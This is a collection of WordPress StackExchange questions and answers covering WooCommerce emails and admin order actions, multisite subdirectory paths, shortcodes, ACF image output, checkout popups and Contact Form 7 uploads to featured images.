}\n</code></pre>\n\n<p>Thanks for the tip @Dharmishtha</p>\n" } ]
2018/01/18
[ "https://wordpress.stackexchange.com/questions/291402", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/111673/" ]
By importing orders from Amazon in WooCommerce and creating WooCommerce orders programmatically, emails for new order or order status changing are sent. Is it possible to prevent this email sending at least on new order creation? I could use a condition on a custom field value, but what actions/filters I have to use? **EDIT** I'm testing `woocommerce_email_enabled_new_order`, `woocommerce_email_enabled_customer_completed_order` and `woocommerce_email_enabled_customer_processing_order`filters together with custom settings and for now it seems to work.
``` $product = array( 'post_type' => 'product', 'post_status' => 'publish', 'posts_per_page' => -1, 'meta_query' => array( array( 'key' => 'product_cip', 'value' => 'some value', 'compare' => '=', ) ), 'fields' => 'ids', ); $product_post = get_posts($product); echo count($product_post); ``` if you have get all products data ``` $products_array = array(); foreach ($product_post as $v){ $_product = wc_get_product($v); echo $_product->get_name().','; $products_array[] = $_product; } ```
291,407
<p>Is it possible to install a multisite and have the <strong>first</strong> installation here:</p> <pre><code>http://www.example.com/en/blog/ </code></pre> <p>and then all <strong>other</strong> sites in these places?</p> <pre><code>http://www.example.com/cn/blog/ http://www.example.com/ru/blog/ http://www.example.com/jp/blog/ </code></pre> <p><em>Note that the first installation cannot be under <code>/en/</code> or just <code>/</code></em></p> <p><strong>EDIT: See solution in my self-accepted answer below.</strong></p>
[ { "answer_id": 291408, "author": "bueltge", "author_id": 170, "author_profile": "https://wordpress.stackexchange.com/users/170", "pm_score": 1, "selected": false, "text": "<p>Yes, your requirements are possible. </p>\n\n<p>As addition, you can also use different domains for each language, like</p>\n\n<ul>\n<li><code>http://www.example.cn/blog/</code></li>\n<li><code>http://www.example.ru/blog/</code></li>\n<li><code>http://www.example.jp/blog/</code></li>\n</ul>\n\n<p>if you need also relationsships betweent the posts of different sites, in your context languages, you can realize this via custom code or an existing plugin, like <a href=\"https://multilingualpress.org/\" rel=\"nofollow noreferrer\">Multilingual Press</a>.</p>\n\n<hr>\n" }, { "answer_id": 291790, "author": "Joseph Shih", "author_id": 135100, "author_profile": "https://wordpress.stackexchange.com/users/135100", "pm_score": 1, "selected": true, "text": "<p>I got it working! The trick was writing a variable PATH_CURRENT_SITE definition after enabling and altering the additional site settings. Simple, and no other special htaccess rewrites or code needed.</p>\n\n<h2>Step 1) Original installation</h2>\n\n<p>Under <code>https://www.example.com/en/blog/</code></p>\n\n<h2>Step 2) Enable multisite</h2>\n\n<p><a href=\"https://codex.wordpress.org/Create_A_Network\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Create_A_Network</a></p>\n\n<h2>Step 3) Add new sites</h2>\n\n<p>In the network admin, start with just adding each additional site under another subdirectory such as <code>ru</code> in <code>https://www.example.com/en/blog/ru/</code>. Then, edit the URL after creating it to <code>https://www.example.com/ru/blog/</code>. Repeat this step for more sites.</p>\n\n<h2>Step 4) Edit <code>wp-config.php</code> file to define PATH_CURRENT_SITE dynamically</h2>\n\n<pre><code>define('MULTISITE', true);\ndefine('SUBDOMAIN_INSTALL', false);\ndefine('DOMAIN_CURRENT_SITE', 'www.example.com');\n// Previously just: define('PATH_CURRENT_SITE', '/en/blog/');\npreg_match('/^(\\/[a-zA-Z]+\\/blog\\/)/', $_SERVER['REQUEST_URI'], $matches);\nif (!is_array($matches) || !isset($matches[1]) || !is_string($matches[1]))\n{\n die('INVALID DIRECTORY');\n}\ndefine('PATH_CURRENT_SITE', $matches[1]);\ndefine('SITE_ID_CURRENT_SITE', 1);\ndefine('BLOG_ID_CURRENT_SITE', 1);\n</code></pre>\n\n<h2>STEP 5) Cleanup permalink</h2>\n\n<p>To prevent double <code>blog</code> slugs like <code>/en/blog/blog/post-name/</code>, go to the site settings (in the network admin) and edit the permalink settings.</p>\n" } ]
2018/01/18
[ "https://wordpress.stackexchange.com/questions/291407", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135100/" ]
Is it possible to install a multisite and have the **first** installation here: ``` http://www.example.com/en/blog/ ``` and then all **other** sites in these places? ``` http://www.example.com/cn/blog/ http://www.example.com/ru/blog/ http://www.example.com/jp/blog/ ``` *Note that the first installation cannot be under `/en/` or just `/`* **EDIT: See solution in my self-accepted answer below.**
I got it working! The trick was writing a variable PATH\_CURRENT\_SITE definition after enabling and altering the additional site settings. Simple, and no other special htaccess rewrites or code needed. Step 1) Original installation ----------------------------- Under `https://www.example.com/en/blog/` Step 2) Enable multisite ------------------------ <https://codex.wordpress.org/Create_A_Network> Step 3) Add new sites --------------------- In the network admin, start with just adding each additional site under another subdirectory such as `ru` in `https://www.example.com/en/blog/ru/`. Then, edit the URL after creating it to `https://www.example.com/ru/blog/`. Repeat this step for more sites. Step 4) Edit `wp-config.php` file to define PATH\_CURRENT\_SITE dynamically --------------------------------------------------------------------------- ``` define('MULTISITE', true); define('SUBDOMAIN_INSTALL', false); define('DOMAIN_CURRENT_SITE', 'www.example.com'); // Previously just: define('PATH_CURRENT_SITE', '/en/blog/'); preg_match('/^(\/[a-zA-Z]+\/blog\/)/', $_SERVER['REQUEST_URI'], $matches); if (!is_array($matches) || !isset($matches[1]) || !is_string($matches[1])) { die('INVALID DIRECTORY'); } define('PATH_CURRENT_SITE', $matches[1]); define('SITE_ID_CURRENT_SITE', 1); define('BLOG_ID_CURRENT_SITE', 1); ``` STEP 5) Cleanup permalink ------------------------- To prevent double `blog` slugs like `/en/blog/blog/post-name/`, go to the site settings (in the network admin) and edit the permalink settings.
291,450
<p>I'm running the latest version of WordPress (4.9.2) and WooCommerce (3.2.6) and I'm having issues overwriting the <code>My Account</code> template.</p> <p>I've created a file in my theme:</p> <pre><code>theme-name/woocommerce/myaccount/my-account.php </code></pre> <p>I have a page in my <code>WP Admin</code> with the <code>post_content</code> set to:</p> <pre><code>[woocommerce_my_account] </code></pre> <p>However, when I open the link, <code>http://example.com/en/my-account</code>, it's showing the default <code>index.php</code>.</p> <p>If I put the following code in my index, I get to see the account page:</p> <pre><code>do_shortcode('[woocommerce_my_account]'); </code></pre> <p>I've also made sure that my WooCommerce account page is set to the right one in <strong>WooCommerce > Settings > Account > My Account Page</strong>.</p> <p>I can see in the body of the rendered page that has the following classes</p> <pre><code>page-template-default page page-id-8 logged-in desktop woocommerce-account woocommerce-page </code></pre> <p>Does anyone know why it's not displaying the page properly?</p>
[ { "answer_id": 291909, "author": "Dilip Gupta", "author_id": 110899, "author_profile": "https://wordpress.stackexchange.com/users/110899", "pm_score": 0, "selected": false, "text": "<p>so <code>do_shortcode('[woocommerce_my_account]');</code> is working in index.php and <code>[woocommerce_my_account]</code> is not working normal <code>wp admin</code> page.</p>\n\n<p>have you tried looking for the issue with <code>the_content()</code> function? check if the loop is correct in your theme's template file.</p>\n" }, { "answer_id": 291911, "author": "Sachit", "author_id": 41471, "author_profile": "https://wordpress.stackexchange.com/users/41471", "pm_score": 0, "selected": false, "text": "<p>Please make sure you have checked one of the following things:</p>\n\n<ol>\n<li>Have you mentioned theme support for woocommerce in your theme? <code>add_theme_support('woocommerce')</code></li>\n<li>in dashboard go to <code>status</code> submenu inside <code>woocommerce</code> menu and check <code>template overrides</code> block if it is showing your template</li>\n<li>Please make sure on your page template, there is <code>the_content()</code> being called inside the loop.</li>\n</ol>\n\n<p>Thanks!</p>\n" }, { "answer_id": 292032, "author": "Jeffrey Carandang", "author_id": 29136, "author_profile": "https://wordpress.stackexchange.com/users/29136", "pm_score": -1, "selected": false, "text": "<p>You should use <strong>echo</strong> when using <code>do_shortcode</code>. Change it to :</p>\n\n<pre><code>echo do_shortcode('[woocommerce_my_account]');\n</code></pre>\n\n<p>You can check more info about <code>do_shortcode</code> here : <a href=\"https://developer.wordpress.org/reference/functions/do_shortcode/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/do_shortcode/</a> . Cheers!</p>\n" }, { "answer_id": 292377, "author": "Vlad Olaru", "author_id": 52726, "author_profile": "https://wordpress.stackexchange.com/users/52726", "pm_score": 0, "selected": false, "text": "<p>I believe your problem it is not related to the shortcode or page template or index.php. It should work regardless.</p>\n\n<p>I see you have a multilingual setup. You should look into how WooCommerce plays with this as it is not always easy. Most translation plugins (like WPML) have special helper plugin that ensures WooCommerce is playing nice with them.</p>\n" } ]
2018/01/18
[ "https://wordpress.stackexchange.com/questions/291450", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/104711/" ]
I'm running the latest version of WordPress (4.9.2) and WooCommerce (3.2.6) and I'm having issues overwriting the `My Account` template. I've created a file in my theme: ``` theme-name/woocommerce/myaccount/my-account.php ``` I have a page in my `WP Admin` with the `post_content` set to: ``` [woocommerce_my_account] ``` However, when I open the link, `http://example.com/en/my-account`, it's showing the default `index.php`. If I put the following code in my index, I get to see the account page: ``` do_shortcode('[woocommerce_my_account]'); ``` I've also made sure that my WooCommerce account page is set to the right one in **WooCommerce > Settings > Account > My Account Page**. I can see in the body of the rendered page that has the following classes ``` page-template-default page page-id-8 logged-in desktop woocommerce-account woocommerce-page ``` Does anyone know why it's not displaying the page properly?
so `do_shortcode('[woocommerce_my_account]');` is working in index.php and `[woocommerce_my_account]` is not working normal `wp admin` page. have you tried looking for the issue with `the_content()` function? check if the loop is correct in your theme's template file.
291,474
<p>I have a shortcode which will have a big HTML.</p> <p>It will have 4 selects which I'm getting the data inside the shortcode:</p> <pre><code>$house_types = get_terms(array( 'taxonomy' =&gt; 'house_types', 'hide_empty' =&gt; 0 )); </code></pre> <p>I would like to insert a template that can read this variable in order to build the select, my template file:</p> <pre><code>&lt;label for="tipo"&gt;Tipos:&lt;/label&gt; &lt;select name="tipo" id="house_types"&gt; &lt;option disabled selected value&gt;&lt;/option&gt; &lt;?php if(count($house_types) &gt; 0) { foreach($house_types as $house_type) { echo '&lt;option value="'.$house_type-&gt;term_id.'"&gt;'.$house_type-&gt;name.'&lt;/option&gt;'; } } ?&gt; &lt;/select&gt; </code></pre> <p>I tried to use this, but it doesn't make sense to put the template inside the theme and not inside the plugin dir:</p> <pre><code>function rci_search_houses( $atts ) { ob_start(); $house_types = get_terms(array( 'taxonomy' =&gt; 'house_types', 'hide_empty' =&gt; 0 )); get_template_part('search', 'select'); $output = ob_get_contents(); ob_end_clean(); return $output; } add_shortcode('rci-search-houses', 'rci_search_houses'); </code></pre> <p>But it doesn't show anything.</p> <p>Anyone knows a better way to organize the shortcode in case it has a big html?</p>
[ { "answer_id": 291502, "author": "Dharmishtha Patel", "author_id": 135085, "author_profile": "https://wordpress.stackexchange.com/users/135085", "pm_score": 0, "selected": false, "text": "<pre><code>&lt;label for=\"tipo\"&gt;Tipos:&lt;/label&gt;\n&lt;select name=\"tipo\" id=\"house_types\"&gt;\n &lt;option disabled selected value&gt;&lt;/option&gt;\n &lt;?php\n if(count($house_types) &gt; 0) {\n foreach($house_types as $house_type) {\n echo '&lt;option value=\"'.$house_type-&gt;term_id.'\"&gt;'.$house_type-&gt;name.'&lt;/option&gt;';\n }\n }\n ?&gt;\n&lt;/select&gt;\n\n&lt;?php echo do_shortcode('[rci-search-houses]');?&gt;\n</code></pre>\n" }, { "answer_id": 291510, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 2, "selected": true, "text": "<p>Your core issue is that you pass value as globals but never declare them as such.</p>\n\n<p>Generally speaking, \"template parts\" are useful when you want to give the ability to someone else to override them via a child theme or plugin, but if you are doing a \"one off\" theme, it is just better to write a function that generates the form and pass to it the relevant parameters instead of using global variables.</p>\n" } ]
2018/01/19
[ "https://wordpress.stackexchange.com/questions/291474", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/133606/" ]
I have a shortcode which will have a big HTML. It will have 4 selects which I'm getting the data inside the shortcode: ``` $house_types = get_terms(array( 'taxonomy' => 'house_types', 'hide_empty' => 0 )); ``` I would like to insert a template that can read this variable in order to build the select, my template file: ``` <label for="tipo">Tipos:</label> <select name="tipo" id="house_types"> <option disabled selected value></option> <?php if(count($house_types) > 0) { foreach($house_types as $house_type) { echo '<option value="'.$house_type->term_id.'">'.$house_type->name.'</option>'; } } ?> </select> ``` I tried to use this, but it doesn't make sense to put the template inside the theme and not inside the plugin dir: ``` function rci_search_houses( $atts ) { ob_start(); $house_types = get_terms(array( 'taxonomy' => 'house_types', 'hide_empty' => 0 )); get_template_part('search', 'select'); $output = ob_get_contents(); ob_end_clean(); return $output; } add_shortcode('rci-search-houses', 'rci_search_houses'); ``` But it doesn't show anything. Anyone knows a better way to organize the shortcode in case it has a big html?
Your core issue is that you pass value as globals but never declare them as such. Generally speaking, "template parts" are useful when you want to give the ability to someone else to override them via a child theme or plugin, but if you are doing a "one off" theme, it is just better to write a function that generates the form and pass to it the relevant parameters instead of using global variables.
291,524
<p>Let me start off by saying that I usually make alot of research before asking publicly for help - due to likelyhood of information already being on the web - altho I've done several days of reseach etc I'm still in agony...</p> <p>I'm using Wordpress with Advanced Custom Fields plugin - I've been able to make it show the image on my front page using a simple HTML code</p> <pre><code>&lt;img src="[acf field='image' post_id=''. $post_id .'']" /&gt; </code></pre> <p>Where I created a custom field called 'image' . <strong>Now</strong> I want to create a shortcode to display this link if possible? I've gone through alot of possiblities such as;</p> <ul> <li><a href="https://codex.wordpress.org/Shortcode_API#HTML" rel="nofollow noreferrer">Official Shortcode API</a> where I got no real useful information (that I had the knowledge to use)</li> <li><a href="http://prntscr.com/i2ke7i" rel="nofollow noreferrer">using echo - return with simple html between ''</a> (it broke the page)</li> </ul> <p>Tried this too;</p> <pre><code>&lt;?php function my_shortcode() { $output = ''; $output.= '&lt;img src="[acf field='image' post_id=''. $post_id .'']" /&gt;'; return $output; } </code></pre> <p>Didnt take... then I went for the last one I could find on the web;</p> <pre><code> function my_shortcode() { ob_start(); ?&gt; &lt;HTML&gt; &lt;img src="[acf field='image' post_id=''. $post_id .'']" /&gt; &lt;?php return ob_get_clean(); } </code></pre> <p>Which ended into something like this on my website - <a href="http://prntscr.com/i2ki7b" rel="nofollow noreferrer">outcome</a></p> <p>I'm really out of my depth here guys... I'd be really glad if anyone would be willing to help me out a little!</p> <p>Thanks in advance!</p>
[ { "answer_id": 291525, "author": "KAGG Design", "author_id": 108721, "author_profile": "https://wordpress.stackexchange.com/users/108721", "pm_score": 2, "selected": true, "text": "<p>You have to use <code>do_shortcode()</code> to execute shortcodes in your string</p>\n\n<p>Full code should be like that</p>\n\n<pre><code>&lt;?php\nfunction my_shortcode( $atts ) {\n $atts = shortcode_atts( array(\n 'post_id' =&gt; '', // Default value.\n ), $atts );\n\n $output = '[acf field=\"image\" post_id=\"' . $atts['post_id'] . '\"]';\n $output = do_shortcode( $output );\n $output = '&lt;img src=\"' . $output . '\" /&gt;';\n return $output;\n}\n\nadd_shortcode('my_link', 'my_shortcode');\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code>[my_link post_id=\"xxx\"]\n</code></pre>\n\n<p>where xxx is id of the requered post.</p>\n" }, { "answer_id": 291526, "author": "Dharmishtha Patel", "author_id": 135085, "author_profile": "https://wordpress.stackexchange.com/users/135085", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://i.stack.imgur.com/3cI1Z.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3cI1Z.png\" alt=\"enter image description here\"></a></p>\n\n<pre><code>function my_shortcode(){\nreturn '&lt;img src=\"[acf field='image' post_id=''. $post_id .'']\" /&gt;';\n}\nadd_shortcode('image','my_shortcode');\n</code></pre>\n" } ]
2018/01/19
[ "https://wordpress.stackexchange.com/questions/291524", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135164/" ]
Let me start off by saying that I usually make alot of research before asking publicly for help - due to likelyhood of information already being on the web - altho I've done several days of reseach etc I'm still in agony... I'm using Wordpress with Advanced Custom Fields plugin - I've been able to make it show the image on my front page using a simple HTML code ``` <img src="[acf field='image' post_id=''. $post_id .'']" /> ``` Where I created a custom field called 'image' . **Now** I want to create a shortcode to display this link if possible? I've gone through alot of possiblities such as; * [Official Shortcode API](https://codex.wordpress.org/Shortcode_API#HTML) where I got no real useful information (that I had the knowledge to use) * [using echo - return with simple html between ''](http://prntscr.com/i2ke7i) (it broke the page) Tried this too; ``` <?php function my_shortcode() { $output = ''; $output.= '<img src="[acf field='image' post_id=''. $post_id .'']" />'; return $output; } ``` Didnt take... then I went for the last one I could find on the web; ``` function my_shortcode() { ob_start(); ?> <HTML> <img src="[acf field='image' post_id=''. $post_id .'']" /> <?php return ob_get_clean(); } ``` Which ended into something like this on my website - [outcome](http://prntscr.com/i2ki7b) I'm really out of my depth here guys... I'd be really glad if anyone would be willing to help me out a little! Thanks in advance!
You have to use `do_shortcode()` to execute shortcodes in your string Full code should be like that ``` <?php function my_shortcode( $atts ) { $atts = shortcode_atts( array( 'post_id' => '', // Default value. ), $atts ); $output = '[acf field="image" post_id="' . $atts['post_id'] . '"]'; $output = do_shortcode( $output ); $output = '<img src="' . $output . '" />'; return $output; } add_shortcode('my_link', 'my_shortcode'); ``` Usage: ``` [my_link post_id="xxx"] ``` where xxx is id of the requered post.
291,538
<p>I'm want to add confirm popup in checkout page if user select credit card gateway. I success to add javascript code after click on "place order" button using:</p> <pre><code>jQuery(function ($) { $("form.woocommerce-checkout").on('submit', function () { // show confirm popup and conditions to continue or return to form. }); }); </code></pre> <p>it's work, but in backgroud the page continue to redirect to place order. how can I stop the redirect? and how can I make redirect after user click on OK in the confirm popup?</p>
[ { "answer_id": 291541, "author": "mmm", "author_id": 74311, "author_profile": "https://wordpress.stackexchange.com/users/74311", "pm_score": 2, "selected": false, "text": "<p>the first step is to define the event in doing this for the function </p>\n\n<pre><code>.on('submit', function (event) {\n</code></pre>\n\n<p>and after you can stop the form submit with this code : </p>\n\n<pre><code>event.preventDefault();\n</code></pre>\n" }, { "answer_id": 291542, "author": "Dharmishtha Patel", "author_id": 135085, "author_profile": "https://wordpress.stackexchange.com/users/135085", "pm_score": 1, "selected": false, "text": "<pre><code>add_filter( 'woocommerce_order_button_html', 'custom_order_button_html');\nfunction custom_order_button_html( $button ) {\n\n // The text of the button\n $order_button_text = __('Place order', 'woocommerce');\n\n // HERE your Javascript Event\n $js_event = \"fbq('track', 'AddPaymentInfo');\";\n\n // HERE you make changes (Replacing the code of the button):\n $button = '&lt;input type=\"submit\" onClick=\"'.$js_event.'\" class=\"button alt\" name=\"woocommerce_checkout_place_order\" id=\"place_order\" value=\"' . esc_attr( $order_button_text ) . '\" data-value=\"' . esc_attr( $order_button_text ) . '\" /&gt;';\n\n return $button;\n}\n</code></pre>\n" } ]
2018/01/19
[ "https://wordpress.stackexchange.com/questions/291538", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135167/" ]
I'm want to add confirm popup in checkout page if user select credit card gateway. I success to add javascript code after click on "place order" button using: ``` jQuery(function ($) { $("form.woocommerce-checkout").on('submit', function () { // show confirm popup and conditions to continue or return to form. }); }); ``` it's work, but in backgroud the page continue to redirect to place order. how can I stop the redirect? and how can I make redirect after user click on OK in the confirm popup?
the first step is to define the event in doing this for the function ``` .on('submit', function (event) { ``` and after you can stop the form submit with this code : ``` event.preventDefault(); ```
291,558
<p>I am currently working on a wordpress/woocommerce project. At the backend, when the user clicks on woocommerce/orders menu, it will display all available order details. In order this table, there are several fields/columns (such as order, ship to, date, total, actions).</p> <p>Under actions field, there are two buttons (order status and view). I want to add another button under this field. So, is there any code available that can be placed to functions.php to solve this problem.</p> <p>Thank you. </p>
[ { "answer_id": 291563, "author": "mmm", "author_id": 74311, "author_profile": "https://wordpress.stackexchange.com/users/74311", "pm_score": 0, "selected": false, "text": "<p>to add a action in this row, you can try this code : </p>\n\n<pre><code>add_filter(\"woocommerce_admin_order_actions\", function ($actions, $the_order) {\n\n $actions[] = [\n \"action\" =&gt; \"actionCode\",\n \"url\" =&gt; admin_url(\"?page=myPage\"),\n \"name\" =&gt; \"New link\",\n ];\n\n\n return $actions;\n\n}, 10, 2);\n</code></pre>\n" }, { "answer_id": 291568, "author": "LWS-Mo", "author_id": 88895, "author_profile": "https://wordpress.stackexchange.com/users/88895", "pm_score": 4, "selected": true, "text": "<p>@mmm thanks for that code, I didnt know this filter yet. Do you know if it is also possible to add a tooltip that way? </p>\n\n<p>Anyway, I have a different solution to add a new button to this column, and also want to post it: </p>\n\n<pre><code>add_action( 'woocommerce_admin_order_actions_end', 'add_content_to_wcactions_column' );\nfunction add_content_to_wcactions_column() {\n\n // create some tooltip text to show on hover\n $tooltip = __('Some tooltip text here.', 'textdomain');\n\n // create a button label\n $label = __('Label', 'textdomain');\n\n echo '&lt;a class=\"button tips custom-class\" href=\"#\" data-tip=\"'.$tooltip.'\"&gt;'.$label.'&lt;/a&gt;';\n}\n</code></pre>\n\n<p>Just replace the tooltip and label text and add your url in the link.</p>\n\n<hr>\n\n<p>I tested the above code on an empty installation and this is what I get:<br>\n<a href=\"https://i.stack.imgur.com/XwqGj.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/XwqGj.jpg\" alt=\"enter image description here\"></a></p>\n" } ]
2018/01/19
[ "https://wordpress.stackexchange.com/questions/291558", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/132874/" ]
I am currently working on a wordpress/woocommerce project. At the backend, when the user clicks on woocommerce/orders menu, it will display all available order details. In order this table, there are several fields/columns (such as order, ship to, date, total, actions). Under actions field, there are two buttons (order status and view). I want to add another button under this field. So, is there any code available that can be placed to functions.php to solve this problem. Thank you.
@mmm thanks for that code, I didnt know this filter yet. Do you know if it is also possible to add a tooltip that way? Anyway, I have a different solution to add a new button to this column, and also want to post it: ``` add_action( 'woocommerce_admin_order_actions_end', 'add_content_to_wcactions_column' ); function add_content_to_wcactions_column() { // create some tooltip text to show on hover $tooltip = __('Some tooltip text here.', 'textdomain'); // create a button label $label = __('Label', 'textdomain'); echo '<a class="button tips custom-class" href="#" data-tip="'.$tooltip.'">'.$label.'</a>'; } ``` Just replace the tooltip and label text and add your url in the link. --- I tested the above code on an empty installation and this is what I get: [![enter image description here](https://i.stack.imgur.com/XwqGj.jpg)](https://i.stack.imgur.com/XwqGj.jpg)
291,579
<p>I'm using Gravity Forms and after submission I want to use its built-in action <code>add_action( 'gform_after_submission', 'after_submission', 10, 2 );</code> to trigger a couple of click events from 2 different elements in that page. Is it possible? If so, how is it done?</p>
[ { "answer_id": 291563, "author": "mmm", "author_id": 74311, "author_profile": "https://wordpress.stackexchange.com/users/74311", "pm_score": 0, "selected": false, "text": "<p>to add a action in this row, you can try this code : </p>\n\n<pre><code>add_filter(\"woocommerce_admin_order_actions\", function ($actions, $the_order) {\n\n $actions[] = [\n \"action\" =&gt; \"actionCode\",\n \"url\" =&gt; admin_url(\"?page=myPage\"),\n \"name\" =&gt; \"New link\",\n ];\n\n\n return $actions;\n\n}, 10, 2);\n</code></pre>\n" }, { "answer_id": 291568, "author": "LWS-Mo", "author_id": 88895, "author_profile": "https://wordpress.stackexchange.com/users/88895", "pm_score": 4, "selected": true, "text": "<p>@mmm thanks for that code, I didnt know this filter yet. Do you know if it is also possible to add a tooltip that way? </p>\n\n<p>Anyway, I have a different solution to add a new button to this column, and also want to post it: </p>\n\n<pre><code>add_action( 'woocommerce_admin_order_actions_end', 'add_content_to_wcactions_column' );\nfunction add_content_to_wcactions_column() {\n\n // create some tooltip text to show on hover\n $tooltip = __('Some tooltip text here.', 'textdomain');\n\n // create a button label\n $label = __('Label', 'textdomain');\n\n echo '&lt;a class=\"button tips custom-class\" href=\"#\" data-tip=\"'.$tooltip.'\"&gt;'.$label.'&lt;/a&gt;';\n}\n</code></pre>\n\n<p>Just replace the tooltip and label text and add your url in the link.</p>\n\n<hr>\n\n<p>I tested the above code on an empty installation and this is what I get:<br>\n<a href=\"https://i.stack.imgur.com/XwqGj.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/XwqGj.jpg\" alt=\"enter image description here\"></a></p>\n" } ]
2018/01/19
[ "https://wordpress.stackexchange.com/questions/291579", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/78848/" ]
I'm using Gravity Forms and after submission I want to use its built-in action `add_action( 'gform_after_submission', 'after_submission', 10, 2 );` to trigger a couple of click events from 2 different elements in that page. Is it possible? If so, how is it done?
@mmm thanks for that code, I didnt know this filter yet. Do you know if it is also possible to add a tooltip that way? Anyway, I have a different solution to add a new button to this column, and also want to post it: ``` add_action( 'woocommerce_admin_order_actions_end', 'add_content_to_wcactions_column' ); function add_content_to_wcactions_column() { // create some tooltip text to show on hover $tooltip = __('Some tooltip text here.', 'textdomain'); // create a button label $label = __('Label', 'textdomain'); echo '<a class="button tips custom-class" href="#" data-tip="'.$tooltip.'">'.$label.'</a>'; } ``` Just replace the tooltip and label text and add your url in the link. --- I tested the above code on an empty installation and this is what I get: [![enter image description here](https://i.stack.imgur.com/XwqGj.jpg)](https://i.stack.imgur.com/XwqGj.jpg)
291,584
<p>Im trying to disallow editors from publishing their own post, I would like editors to only be allowed to publish others submitted posts. </p> <p>I would like contributors and authors to submit their posts for review. I would like the editor to approve these posts for publishing, but I do not want the editor to be able to publish their own posts. </p> <p>I have been trying some plugins, and im not able to get this working. </p> <p>Thank you for any help</p>
[ { "answer_id": 291563, "author": "mmm", "author_id": 74311, "author_profile": "https://wordpress.stackexchange.com/users/74311", "pm_score": 0, "selected": false, "text": "<p>to add a action in this row, you can try this code : </p>\n\n<pre><code>add_filter(\"woocommerce_admin_order_actions\", function ($actions, $the_order) {\n\n $actions[] = [\n \"action\" =&gt; \"actionCode\",\n \"url\" =&gt; admin_url(\"?page=myPage\"),\n \"name\" =&gt; \"New link\",\n ];\n\n\n return $actions;\n\n}, 10, 2);\n</code></pre>\n" }, { "answer_id": 291568, "author": "LWS-Mo", "author_id": 88895, "author_profile": "https://wordpress.stackexchange.com/users/88895", "pm_score": 4, "selected": true, "text": "<p>@mmm thanks for that code, I didnt know this filter yet. Do you know if it is also possible to add a tooltip that way? </p>\n\n<p>Anyway, I have a different solution to add a new button to this column, and also want to post it: </p>\n\n<pre><code>add_action( 'woocommerce_admin_order_actions_end', 'add_content_to_wcactions_column' );\nfunction add_content_to_wcactions_column() {\n\n // create some tooltip text to show on hover\n $tooltip = __('Some tooltip text here.', 'textdomain');\n\n // create a button label\n $label = __('Label', 'textdomain');\n\n echo '&lt;a class=\"button tips custom-class\" href=\"#\" data-tip=\"'.$tooltip.'\"&gt;'.$label.'&lt;/a&gt;';\n}\n</code></pre>\n\n<p>Just replace the tooltip and label text and add your url in the link.</p>\n\n<hr>\n\n<p>I tested the above code on an empty installation and this is what I get:<br>\n<a href=\"https://i.stack.imgur.com/XwqGj.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/XwqGj.jpg\" alt=\"enter image description here\"></a></p>\n" } ]
2018/01/19
[ "https://wordpress.stackexchange.com/questions/291584", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/107068/" ]
Im trying to disallow editors from publishing their own post, I would like editors to only be allowed to publish others submitted posts. I would like contributors and authors to submit their posts for review. I would like the editor to approve these posts for publishing, but I do not want the editor to be able to publish their own posts. I have been trying some plugins, and im not able to get this working. Thank you for any help
@mmm thanks for that code, I didnt know this filter yet. Do you know if it is also possible to add a tooltip that way? Anyway, I have a different solution to add a new button to this column, and also want to post it: ``` add_action( 'woocommerce_admin_order_actions_end', 'add_content_to_wcactions_column' ); function add_content_to_wcactions_column() { // create some tooltip text to show on hover $tooltip = __('Some tooltip text here.', 'textdomain'); // create a button label $label = __('Label', 'textdomain'); echo '<a class="button tips custom-class" href="#" data-tip="'.$tooltip.'">'.$label.'</a>'; } ``` Just replace the tooltip and label text and add your url in the link. --- I tested the above code on an empty installation and this is what I get: [![enter image description here](https://i.stack.imgur.com/XwqGj.jpg)](https://i.stack.imgur.com/XwqGj.jpg)
291,601
<p>I am trying to retrieve a file uploaded in the front-end with contact form 7 and assign it to a featured image custom post type. Heres is my code so far :</p> <pre><code>function form_to_post( $posted_data ) { $args = array( 'post_type' =&gt; 'projects', 'post_status'=&gt; 'draft', 'post_title'=&gt; wp_strip_all_tags( $posted_data['title'] ), 'post_content'=&gt; wp_strip_all_tags( $posted_data['pitch'] ), ); $post_id = wp_insert_post($args); if( ! is_wp_error( $post_id ) ) { if( isset($posted_data['featured']) ){ $featuredUpload = wp_upload_bits($posted_data['featured']['name'], null, file_get_contents($posted_data['featured']['tmp_name'])); $filename = $featuredUpload['file']; $wp_filetype = wp_check_filetype($filename, null ); $attachment = array( 'post_mime_type' =&gt; $wp_filetype['type'], 'post_parent' =&gt; $post_id, 'post_title' =&gt; sanitize_file_name($filename), 'post_content' =&gt; '', 'post_status' =&gt; 'inherit' ); $attachment_id = wp_insert_attachment( $attachment, $filename, $post_id ); if (!is_wp_error($attachment_id)) { require_once(ABSPATH . 'wp-admin/includes/image.php'); $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename ); wp_update_attachment_metadata( $attachment_id, $attachment_data ); set_post_thumbnail( $post_id, $attachment_id ); } } } return $posted_data; } add_filter( 'wpcf7_posted_data', 'form_to_post' ); </code></pre> <p>The <code>error_log</code> shows 1 as the value of <code>$posted_data['featured']</code> so that means the file datas are not stored in this variable. I've looked at the <a href="https://contactform7.com/file-uploading-and-attachment/" rel="nofollow noreferrer">Contact Form 7 doc</a> and they say that the file is moved to a temporary directory (wp-content/uploads/wpcf7_uploads) before the mail is sent. So does anyone know how to get the file datas?</p> <p>Thanks</p>
